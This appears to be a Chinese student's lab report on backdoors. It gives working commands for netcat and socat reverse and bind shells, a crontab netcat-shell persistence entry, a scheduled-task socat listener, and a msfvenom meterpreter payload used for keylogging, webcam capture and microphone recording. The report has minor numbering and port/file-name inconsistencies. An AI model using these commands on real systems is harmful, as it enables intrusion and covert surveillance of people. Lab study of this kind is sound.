后门原理与实践

一、实验操作步骤

1.Windows获得Linux Shell

ipconfig查询Windows主机IP地址

在Windows中输入win+r→cmd→cd→ncat目录文件→ncat.exe -l -p 4310（监听端口）

在Linux输入 nc 192.168.1.185 4311 -e /bin/sh连接上端口

 

Windows获得Linux shell，可运行任意指令。

 

2.Linux获得Windows Shell

查IP

 

 

 

Linux设置监听端口

Windows反弹连接

 

进制显示差异导致出现乱码。

 

3.使用nc传输数据

W监听端口4310，L反弹连接，进行字符传输

 

 

 

W监听窗口4310

L输出crontab -e 命令建立一项定时任务

选择vim basic

 

 

在最后添加代码

10 * * * *  /bin/netcat 192.168.1.185 4311 -e /bin/sh 保存退出

 

5..使用socat获取主机操作Shell, 任务计划启动

控制面板->系统和安全->管理工具->任务计划，新建一个任务。

 

新建触发器设定开始任务为“工作站锁定时”。

在操作->程序或脚本中选择你的socat.exe文件的路径，在添加参数一栏填写tcp-listen:4311 exec:cmd.exe,pty,stderr，这个命令的作用是把cmd.exe绑定到端口4311，同时把cmd.exe的stderr重定向到stdout上：

 

创建后运行。

 L输入指令 socat - tcp:192.168.1.185:4311。发现成功获得W Shell。

 

6.使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

 

L输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.199 LPORT=4311 -f exe > 20154311_backdoor.exe 生成后门程序

 

在Linux上使用 msfconsle 指令进入msf控制台，使用监听模块，设置payload，设置反弹回连的IP和端口

设置完成后，执行监听指令 exploit 。

打开windows上的后门程序20154310_backdoor.exe。

 

执行 record_mic 指令录制一段音频。

使用 webcam_snap 指令可以使用摄像头进行拍照。

 

执行 screenshot 指令可以进行截屏。

 

执行 keyscan_strat 指令开始记录下击键的过程，执行 keyscan_dump 指令读取击键的记录。

二、心得体会

四、心得体会

这次实验的难度整体来说比上一次可以说是稍难一些，在理解和实际操作的时候也更困难一点。不过当大部分理解并完成操作以后还是很有成就感的。虽然是模拟攻击，但还是让人有些后怕，自己的计算机只要连上了某个节点就会轻易得被留下后门，攻击者就能随意监视我甚至动用我的摄像头拍摄我的生活起居，想想还真是可怕。所以我们在日常操作中应该更加谨慎，绝不浏览危险网址，防止个人信息泄露。这是我学习这门课程以来的最大心得。